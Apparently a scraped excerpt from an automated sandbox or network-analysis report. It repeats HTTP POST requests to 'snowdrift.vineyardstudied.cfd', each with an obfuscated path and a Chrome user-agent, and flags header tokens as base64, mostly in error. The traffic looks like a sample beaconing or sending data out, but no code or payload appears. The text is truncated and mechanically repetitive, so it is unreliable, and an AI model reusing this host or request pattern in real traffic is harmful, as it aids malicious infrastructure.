application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2370User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2802User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "/YAz" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2802User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "cuLBTBWj" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2802User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "J7OuP75X" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2802User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2802User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "oGDmQOe3EJesewghIZPj6wConnection" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2802User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2802User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2802User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "2802User" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2802User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2802User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2802User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2826User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "/YAz" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2826User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "cuLBTBWj" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2826User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "J7OuP75X" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2826User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2826User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "oGDmQOe3EJesewghIZPj6wConnection" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2826User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2826User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2826User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "2826User" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2826User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2826User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2826User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2344User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "/YAz" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2344User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "cuLBTBWj" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2344User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "J7OuP75X" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2344User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2344User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "oGDmQOe3EJesewghIZPj6wConnection" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2344User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2344User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2344User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "2344User" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2344User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2344User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 2344User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 7985User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "/YAz" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 7985User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "cuLBTBWj" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 7985User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "J7OuP75X" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 7985User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 7985User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "oGDmQOe3EJesewghIZPj6wConnection" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 7985User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 7985User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 7985User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "7985User" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 7985User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 7985User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 7985User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 9236User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "/YAz" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 9236User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "cuLBTBWj" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 9236User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "J7OuP75X" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 9236User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 9236User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "oGDmQOe3EJesewghIZPj6wConnection" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 9236User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 9236User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 9236User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "9236User" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 9236User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 9236User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 9236User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 10569User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "/YAz" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 10569User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "cuLBTBWj" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 10569User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "J7OuP75X" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 10569User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 10569User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "oGDmQOe3EJesewghIZPj6wConnection" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 10569User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 10569User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 10569User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: oGDmQOe3EJesewghIZPj6wConnection: keep-aliveContent-Length: 10569User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ HTTP/1.1Host: snowdrift.vineyardstudied.cfdContent-Type: application/octet-streamX-Request-ID: 